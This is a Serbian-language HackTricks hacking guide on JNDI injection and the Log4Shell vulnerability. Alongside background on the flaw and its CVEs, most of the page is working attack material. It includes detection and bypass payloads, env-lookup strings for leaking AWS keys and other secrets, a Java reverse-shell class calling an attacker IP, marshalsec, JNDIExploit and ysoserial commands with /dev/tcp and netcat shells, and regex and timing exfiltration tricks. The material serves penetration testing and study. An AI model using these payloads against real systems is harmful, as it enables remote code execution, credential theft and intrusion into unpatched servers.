Serbian - Ht
HackTricks Training Twitter Linkedin Sponsor

JNDI - Java Naming and Directory Interface & Log4Shell

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Try Hard Security Group

LogoJoin the Try Hard Security Discord Server!Discord

Osnovne informacije

JNDI, integrisan u Javu od kraja 1990-ih, služi kao direktorijumski servis, omogućavajući Java programima da pronađu podatke ili objekte putem sistema imenovanja. Podržava različite direktorijumske servise putem interfejsa provajdera usluga (SPI), omogućavajući povlačenje podataka sa različitih sistema, uključujući udaljene Java objekte. Uobičajeni SPI-ovi uključuju CORBA COS, Java RMI Registry i LDAP.

JNDI Imenovanje Reference

Java objekti mogu biti smešteni i povučeni korišćenjem JNDI Imenovanih Referenci, koje dolaze u dva oblika:

  • Reference Adrese: Specificira lokaciju objekta (npr. rmi://server/ref), omogućavajući direktno povlačenje sa određene adrese.

  • Udaljeni Fabrika: Referiše na udaljenu fabričku klasu. Kada se pristupi, klasa se preuzima i instancira sa udaljene lokacije.

Međutim, ovaj mehanizam može biti iskorišćen, potencijalno dovodeći do učitavanja i izvršavanja proizvoljnog koda. Kao mera zaštite:

  • RMI: java.rmi.server.useCodeabseOnly = true podrazumevano od JDK 7u21, ograničavajući učitavanje udaljenih objekata. Bezbednosni menadžer dodatno ograničava šta može biti učitano.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false podrazumevano od JDK 6u141, 7u131, 8u121, blokira izvršavanje udaljenih učitanih Java objekata. Ako je postavljeno na true, izvršavanje udaljenog koda je moguće bez nadzora Bezbednosnog Menadžera.

  • CORBA: Nema specifično svojstvo, ali Bezbednosni Menadžer je uvek aktivan.

Međutim, Menadžer Imenovanja, odgovoran za rešavanje JNDI linkova, nema ugrađene mehanizme bezbednosti, što potencijalno omogućava povlačenje objekata sa bilo kog izvora. Ovo predstavlja rizik jer se zaštite RMI, LDAP i CORBA mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili iskorišćavanja postojećih komponenti aplikacije (gadžeta) za pokretanje zlonamernog koda.

Primeri iskorišćivih URL-ova uključuju:

  • rmi://napadac-server/bar

  • ldap://napadac-server/bar

  • iiop://napadac-server/bar

I pored zaštite, ranjivosti ostaju, uglavnom zbog nedostatka zaštite od učitavanja JNDI sa nepoverenih izvora i mogućnosti zaobilaženja postojećih zaštita.

Primer JNDI

Čak i ako ste postavili PROVIDER_URL, možete naznačiti drugi u pretrazi i biće pristupljeno: ctx.lookup("<kontrolisani-url-napadača>") i to je ono što će napadač iskoristiti da učita proizvoljne objekte sa sistema koji kontroliše.

Pregled CORBA

CORBA (Common Object Request Broker Architecture) koristi Interoperabilnu Referencu Objekta (IOR) da jedinstveno identifikuje udaljene objekte. Ova referenca uključuje osnovne informacije kao što su:

  • ID Tipa: Jedinstveni identifikator za interfejs.

  • Codebase: URL za dobijanje stub klase.

Važno je napomenuti da CORBA nije inherentno ranjiv. Osiguravanje bezbednosti obično uključuje:

  • Instalacija Bezbednosnog Menadžera.

  • Konfigurisanje Bezbednosnog Menadžera da dozvoli konekcije ka potencijalno zlonamernim codebase-ovima. Ovo se može postići kroz:

  • Dozvole za sokete, npr. permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Dozvole za čitanje fajlova, ili univerzalno (permission java.io.FilePermission "<<ALL FILES>>", "read";) ili za specifične direktorijume gde bi zlonamerni fajlovi mogli biti smešteni.

Međutim, neka pravila prodavaca mogu biti popustljiva i dozvoliti ove konekcije podrazumevano.

RMI Kontekst

Za RMI (Remote Method Invocation), situacija je donekle drugačija. Kao i kod CORBA-e, preuzimanje proizvoljnih klasa je podrazumevano ograničeno. Da bi iskoristili RMI, obično bi trebalo zaobići Bezbednosnog Menadžera, što je takođe relevantno i kod CORBA-e.

LDAP

Prvo, moramo razlikovati između Pretrage i Pogleda. Pretraga će koristiti URL poput ldap://localhost:389/o=JNDITutorial da pronađe JNDITutorial objekat sa LDAP servera i dobije njegove atribute. Pogled je namenjen imenovanim servisima jer želimo da dobijemo šta god je vezano za ime.

Ako je LDAP pretraga pozvana sa SearchControls.setReturningObjFlag() sa true, onda će vraćeni objekat biti rekonstruisan.

Stoga, postoji nekoliko načina za napad na ove opcije. Napadač može otrovati LDAP zapise unoseći payload-ove u njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za kompromitovanje desetina mašina ako imate pristup LDAP serveru). Drugi način za iskorišćavanje ovoga bi bilo izvođenje MitM napada u LDAP pretrazi na primer.

U slučaju da možete naterati aplikaciju da reši JNDI LDAP URL, možete kontrolisati LDAP koji će biti pretražen, i možete poslati nazad eksploataciju (log4shell).

Eksploatacija deserijalizacije

Eksploatacija je serializovana i biće deserijalizovana. U slučaju da je trustURLCodebase true, napadač može obezbediti svoje klase u codebase-u, ako nije, moraće iskoristiti gedžete u putanji klasa.

Eksploatacija JNDI Reference

Lakše je napasti ovaj LDAP koristeći JavaFactory reference:

Log4Shell Ranjivost

Ranjivost je uvedena u Log4j jer podržava specijalnu sintaksu u obliku ${prefix:name} gde je prefix jedan od različitih Lookups gde bi name trebalo da bude evaluiran. Na primer, ${java:version} je trenutna pokrenuta verzija Jave.

LOG4J2-313 je uveo funkciju jndi Lookup. Ova funkcija omogućava dobijanje promenljivih putem JNDI-ja. Tipično, ključ je automatski prefiksovan sa java:comp/env/. Međutim, ako sam ključ uključuje ":", ovaj podrazumevani prefiks se ne primenjuje.

Sa : prisutnim u ključu, kao u ${jndi:ldap://primer.com/a} nema prefiksa i LDAP server je upitan za objekat. I ovi Lookups se mogu koristiti kako u konfiguraciji Log4j tako i prilikom logovanja linija.

Stoga, jedina stvar potrebna za dobijanje RCE-a je ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik. I pošto je ovo biblioteka široko korišćena od strane Java aplikacija za logovanje informacija (uključujući aplikacije koje su dostupne na internetu), bilo je veoma uobičajeno imati log4j logovanje na primer HTTP zaglavlja primljena kao User-Agent. Međutim, log4j nije korišćen samo za logovanje HTTP informacija već bilo kakvog unosa i podataka koje je programer naznačio.

Pregled CVE-ova povezanih sa Log4Shell-om

CVE-2021-44228 [Kritično]

Ova ranjivost je kritična nesigurna deserializacijska greška u komponenti log4j-core, koja utiče na verzije od 2.0-beta9 do 2.14.1. Omogućava izvršenje udaljenog koda (RCE), omogućavajući napadačima preuzimanje sistema. Problem je prijavio Chen Zhaojun iz Alibaba Cloud Security tima i utiče na različite Apache okvire. Početni popravak u verziji 2.15.0 je bio nepotpun. Pravila Sigma za odbranu su dostupna (Pravilo 1, Pravilo 2).

CVE-2021-45046 [Kritično]

Početno ocenjen kao nizak, ali kasnije unapređen na kritičan, ovaj CVE je DoS (Denial of Service) greška proizašla iz nepotpunog popravka u verziji 2.15.0 za CVE-2021-44228. Utiče na ne-podrazumevane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem prilagođenih paketa. Jedan tvit prikazuje metod zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem šablona pretrage poruka i onemogućavanjem JNDI po podrazumevanim postavkama.

CVE-2021-4104 [Visoko]

Uticaj na Log4j 1.x verzije u ne-podrazumevanim konfiguracijama koje koriste JMSAppender, ovaj CVE je nesigurna deserializacijska greška. Nema dostupnog popravka za granu 1.x, koja je dostigla kraj životnog ciklusa, te se preporučuje nadogradnja na log4j-core 2.17.0.

CVE-2021-42550 [Umereno]

Ova ranjivost utiče na Logback logging framework, naslednika Log4j 1.x. Ranije smatran sigurnim, ovaj okvir je pronađen ranjivim, te su izdate nove verzije (1.3.0-alpha11 i 1.2.9) kako bi se rešio problem.

CVE-2021-45105 [Visoko]

Log4j 2.16.0 sadrži DoS grešku, što je dovelo do izdavanja log4j 2.17.0 kako bi se popravio CVE. Više detalja možete pronaći u BleepingComputer-ovom izveštaju.

CVE-2021-44832

Uticaj na log4j verziju 2.17, ovaj CVE zahteva od napadača da kontroliše konfiguracioni fajl log4j-a. Uključuje potencijalno izvršenje proizvoljnog koda putem konfigurisanog JDBCAppender-a. Više detalja možete pronaći u Checkmarx blog postu.

Eksploatacija Log4Shell-a

Otkriće

Ova ranjivost je veoma lako otkriti ako nije zaštićena jer će poslati bar jedan DNS zahtev na adresu koju naznačite u vašem paketu. Stoga, paketi poput:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (koristeći canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (koristeći interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (koristeći Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (koristeći dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (koristeći huntress)

Imajte na umu da čak i ako se primi DNS zahtev, to ne znači da je aplikacija iskorišćiva (ili čak ranjiva), moraćete pokušati da je iskoristite.

Zapamtite da biste iskoristili verziju 2.15 morate dodati bajpas provere lokalnog računara: ${jndi:ldap://127.0.0.1#...}

Lokalno otkriće

Pretražite lokalne ranjive verzije biblioteke sa:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verifikacija

Neke od platformi navedenih ranije će vam omogućiti da unesete neke promenljive podatke koji će biti zabeleženi kada se zatraže. Ovo može biti veoma korisno za 2 stvari:

  • Da verifikujete ranjivost

  • Da eksfiltrirate informacije zloupotrebom ranjivosti

Na primer, možete zatražiti nešto kao: ili kao ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} i ako se DNS zahtev primi sa vrednošću env promenljive, znate da je aplikacija ranjiva.

Druge informacije koje biste mogli pokušati da procurete:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Informacije

Sistemi koji koriste JDK verzije iznad 6u141, 7u131 ili 8u121 su zaštićeni od LDAP napada putem učitavanja klasa. Ovo je zbog podrazumevanog deaktiviranja com.sun.jndi.ldap.object.trustURLCodebase, što sprečava JNDI da učita udaljeni codebase putem LDAP-a. Međutim, važno je napomenuti da ove verzije nisu zaštićene od napada putem deserializacije.

Za napadače koji ciljaju da iskoriste ove više verzije JDK-a, neophodno je iskoristiti povereni uređaj (gadget) unutar Java aplikacije. Alati poput ysoserial ili JNDIExploit se često koriste u tu svrhu. Nasuprot tome, iskorišćavanje nižih verzija JDK-a je relativno lakše jer se ove verzije mogu manipulisati da učitaju i izvrše proizvoljne klase.

Za više informacija (kao što su ograničenja na RMI i CORBA vektore) proverite prethodni odeljak o JNDI Naming Reference ili https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec sa prilagođenim teretom

Možete testirati ovo na THM box-u: https://tryhackme.com/room/solar

Koristite alat marshalsec (jar verzija dostupna ovde). Ovaj pristup uspostavlja LDAP referal server za preusmeravanje veza ka sekundarnom HTTP serveru gde će biti smešten eksploit:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Da biste naveli cilj da učita kod obrnutog školjka, kreirajte Java datoteku nazvanu Exploit.java sa sadržajem ispod:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Kompajlirajte Java fajl u klasni fajl koristeći: javac Exploit.java -source 8 -target 8. Zatim pokrenite HTTP server u direktorijumu koji sadrži klasni fajl koristeći: python3 -m http.server. Proverite da marshalsec LDAP server referencira ovaj HTTP server.

Pokrenite izvršavanje klase exploit na podložnom veb serveru slanjem payload-a koji liči na:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Napomena: Ovaj eksploit se oslanja na konfiguraciju Jave koja omogućava učitavanje udaljenog koda putem LDAP-a. Ako ovo nije dozvoljeno, razmotrite iskorišćavanje pouzdane klase za izvršavanje proizvoljnog koda.

RCE - JNDIExploit

Imajte na umu da je autor iz nekog razloga uklonio ovaj projekat sa github-a nakon otkrića log4shell-a. Možete pronaći keširanu verziju na https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 ali ako želite da poštujete odluku autora, koristite drugi metod za iskorišćavanje ove ranjivosti.

Takođe, ne možete pronaći izvorni kod na wayback machine-u, pa ili analizirajte izvorni kod ili izvršite jar znajući da ne znate šta izvršavate.

Za ovaj primer možete pokrenuti ovaj ranjivi web server za log4shell na portu 8080: https://github.com/christophetd/log4shell-vulnerable-app (u README datoteci ćete pronaći kako da ga pokrenete). Ova ranjiva aplikacija beleži sadržaj zaglavlja HTTP zahteva X-Api-Version pomoću ranjive verzije log4shell-a.

Zatim, možete preuzeti JNDIExploit jar fajl i izvršiti ga pomoću:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Nakon što pročitate kod samo nekoliko minuta, u com.feihong.ldap.LdapServer i com.feihong.ldap.HTTPServer možete videti kako su kreirani LDAP i HTTP serveri. LDAP server će razumeti koji payload treba poslužiti i preusmeriti žrtvu na HTTP server, koji će poslužiti eksploataciju. U com.feihong.ldap.gadgets možete pronaći neke specifične gedžete koji se mogu koristiti za izvršavanje željene akcije (potencijalno izvršiti proizvoljni kod). A u com.feihong.ldap.template možete videti različite klase predložaka koje će generisati eksploate.

Možete videti sve dostupne eksploate sa java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Neke korisne su:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Dakle, u našem primeru, već imamo tu docker ranjivu aplikaciju koja se izvršava. Da bismo je napali:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Kada šaljete napade, videćete neki izlaz u terminalu gde ste izvršili JNDIExploit-1.2-SNAPSHOT.jar.

Zapamtite da proverite java -jar JNDIExploit-1.2-SNAPSHOT.jar -u za druge opcije eksploatacije. Osim toga, u slučaju potrebe, možete promeniti portove LDAP i HTTP servera.

RCE - JNDI-Exploit-Kit

Na sličan način kao i prethodni eksploit, možete pokušati da koristite JNDI-Exploit-Kit da iskoristite ovu ranjivost. Možete generisati URL-ove koje ćete poslati žrtvi pokretanjem:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Napad korišćenjem prilagođenog generisanog Java objekta radiće u laboratorijama poput THM solar room. Međutim, ovo obično neće raditi (jer Java podrazumevano nije konfigurisana da učitava udaljene codebase-ove koristeći LDAP) mislim zato što ne zloupotrebljava pouzdanu klasu da izvrši proizvoljni kod.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus je još jedan alat za generisanje upotrebljivih JNDI linkova i pružanje pozadinskih usluga pokretanjem RMI servera, LDAP servera i HTTP servera.\

RCE - ysoserial & JNDI-Exploit-Kit

Ova opcija je zaista korisna za napade na Java verzije konfigurisane da veruju samo određenim klasama, a ne svima. Stoga će ysoserial biti korišćen za generisanje serijalizacija pouzdanih klasa koje mogu biti korišćene kao gedžeti za izvršavanje proizvoljnog koda (pouzdana klasa zloupotrebljena od strane ysoserial-a mora biti korišćena od strane žrtvinog Java programa kako bi eksploatacija funkcionisala).

Korišćenjem ysoserial ili ysoserial-modified možete kreirati deserializacijski eksploit koji će biti preuzet putem JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Koristite JNDI-Exploit-Kit da biste generisali JNDI linkove gde će eksploit čekati konekcije sa ranjivih mašina. Možete poslužiti različite eksploite koji se mogu automatski generisati pomoću JNDI-Exploit-Kit-a ili čak vaše sopstvene deserializacijske payload-e (generisane od strane vas ili ysoserial-a).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Sada možete lako koristiti generisani JNDI link da iskoristite ranjivost i dobijete obrnutu ljusku samo slanjem na ranjivu verziju log4j: ${ldap://10.10.14.10:1389/generated}

Zaobilazi

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatski skeneri

Laboratorije za testiranje

Nakon eksploatacije Log4Shell-a

U ovom CTF writeup-u dobro je objašnjeno kako je potencijalno moguće zloupotrebiti neke funkcije Log4J-a.

Na stranici sa bezbednošću Log4j-a postoje neke zanimljive rečenice:

Od verzije 2.16.0 (za Java 8), funkcionalnost pretrage poruka je potpuno uklonjena. Pretrage u konfiguraciji i dalje funkcionišu. Pored toga, Log4j sada podrazumevano onemogućava pristup JNDI-ju. Pretrage JNDI-ja u konfiguraciji sada moraju biti eksplicitno omogućene.

Od verzije 2.17.0 (i 2.12.3 i 2.3.1 za Java 7 i Java 6), samo se niske pretrage u konfiguraciji rekurzivno proširuju; u bilo kojoj drugoj upotrebi, samo se rešava pretraga na najvišem nivou, a bilo koje ugnežđene pretrage se ne rešavaju.

To znači da podrazumevano možete zaboraviti na korišćenje bilo kog jndi eksploata. Štaviše, da biste izvršili rekurzivne pretrage, morate ih imati konfigurisane.

Na primer, u tom CTF-u je to bilo konfigurisano u datoteci log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

U ovom CTF-u napadač je kontrolisao vrednost ${sys:cmd} i trebao je da eksfiltrira zastavu iz promenljive okruženja. Kao što je prikazano na ovoj stranici u prethodnim payload-ima postoje različiti načini pristupa env promenljivama, kao što su: ${env:FLAG}. U ovom CTF-u to nije bilo korisno, ali možda jeste u drugim stvarnim scenarijima.

Eksfiltracija u Izuzecima

U CTF-u, niste mogli pristupiti stderr-u java aplikacije koristeći log4J, ali Log4J izuzeci se šalju na stdout, što je bilo prikazano u python aplikaciji. To znači da je okidačem izuzetka moguće pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: ${java:${env:FLAG}}. Ovo funkcioniše jer ${java:CTF{blahblah}} ne postoji i biće prikazan izuzetak sa vrednošću zastave:

Konverzioni Šabloni Izuzeci

Samo da pomenemo, takođe ste mogli ubaciti nove konverzione šablone i okinuti izuzetke koji će biti zabeleženi u stdout. Na primer:

Ovo nije bilo korisno za eksfiltraciju datuma unutar poruke o grešci, jer pre konverzionog šablona nije rešeno pretraživanje, ali bi moglo biti korisno za druge stvari kao što je otkrivanje.

Konverzioni Šabloni Regexi

Međutim, moguće je koristiti neke konverzione šablone koji podržavaju regexe za eksfiltraciju informacija iz pretrage korišćenjem regexa i zloupotrebe binarnog pretraživanja ili baziranog na vremenu ponašanja.

  • Binarno pretraživanje putem poruka o izuzecima

Konverzioni šablon %replace može se koristiti za zamenu sadržaja iz stringa čak i korišćenjem regexa. Radi na sledeći način: replace{pattern}{regex}{substitution} Zloupotrebom ovog ponašanja mogli biste napraviti zamenu okidačem izuzetka ako se regex poklopio sa bilo čim unutar stringa (i bez izuzetka ako nije pronađeno) na sledeći način:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

  • Vremenski zasnovano

Kao što je pomenuto u prethodnom odeljku, %replace podržava regexe. Dakle, moguće je koristiti payload sa ReDoS stranice kako bi se izazvao timeout u slučaju pronalaska zastave. Na primer, payload poput %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} bi izazvao timeout u tom CTF-u.

U ovom writeup, umesto korišćenja ReDoS napada, korišćen je napad pojačanja kako bi se izazvala razlika u vremenu odgovora:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Ako zastava počinje sa flagGuess, cela zastava je zamenjena sa 29 #-ova (koristio sam ovaj karakter jer verovatno neće biti deo zastave). Svaki od rezultirajućih 29 #-ova je zatim zamenjen sa 54 #-a. Ovaj proces se ponavlja 6 puta, što dovodi do ukupno 29*54*54^6* =`` ``96816014208 #-ova!

Zamenjivanje toliko #-ova će izazvati 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastava ne počinje sa flagGuess, dobićemo status kod koji nije 500)

Reference

Try Hard Security Group

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

PreviousPython Yaml DeserializationNextDomain/Subdomain takeover

Last updated